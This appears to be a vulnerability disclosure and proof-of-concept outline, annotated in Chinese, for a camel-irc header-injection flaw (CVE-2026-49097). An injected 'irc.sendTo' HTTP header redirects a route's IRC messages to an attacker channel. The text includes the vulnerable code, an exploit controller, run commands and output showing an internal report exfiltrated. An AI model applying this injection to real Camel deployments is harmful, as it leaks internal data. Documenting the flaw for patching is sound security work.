// IrcProducer.process (受影响版本 4.18.2)
final String sendTo = exchange.getIn().getHeader(IrcConstants.IRC_SEND_TO, String.class);  // "irc.sendTo"
...
} else if (sendTo != null) {
    connection.doPrivmsg(sendTo, msg);          // 攻击者指定的目标
} else {
    for (IrcChannel channel : getEndpoint().getConfiguration().getChannelList()) {
        connection.doPrivmsg(channel.getName(), msg);   // 预期的、已配置的频道
    }
}

from("platform-http:/notify")
    .to("irc:ircnet:6667?nickname=notifierbot&channels=%23alerts&commandTimeout=100");

CVE-2026-49097/
├── pom.xml                 # camel-platform-http + camel-irc 4.18.2 (irclib 1.10)
├── Dockerfile
├── docker-compose.yml      # 单个自包含服务
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── RecordingIRCConnection.java  # 真实的 IRCConnection 子类；记录 PRIVMSG 目标，无套接字
    │   ├── RecordingIrcComponent.java   # 分配记录连接
    │   ├── IrcComponentConfig.java      # 在 'irc' 方案下注册
    │   ├── IrcRecorder.java             # 捕获最后传递的目标 + 文本
    │   ├── VictimRoute.java             # platform-http:/notify -> irc:...#alerts
    │   └── ExploitController.java       # 攻击者：注入 irc.sendTo=#exfil-channel
    └── resources/
        └── application.properties

mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

=== CVE-2026-49097 — camel-irc irc.sendTo 头部注入（消息重定向） ===

路由意图：POST /notify -> IRC 频道 #alerts（在端点配置中固定）

1) 合法 POST /notify（无 irc.sendTo 头部）
     IRC 消息发送至： #alerts
     文本：第三季度收入报告：$420 万（仅限内部分发）

2) 注入 POST /notify，携带头部 'irc.sendTo: #exfil-channel'
     IRC 消息发送至： #exfil-channel
     文本：第三季度收入报告：$420 万（仅限内部分发）

>>> 已证明：入站 HTTP 头部 (irc.sendTo) 通过了 Camel HTTP 头部过滤器，并
>>> 覆盖了生产者配置的频道，将内部通知发送到了攻击者选择的 IRC 目标（外泄 / 机器人冒充）：true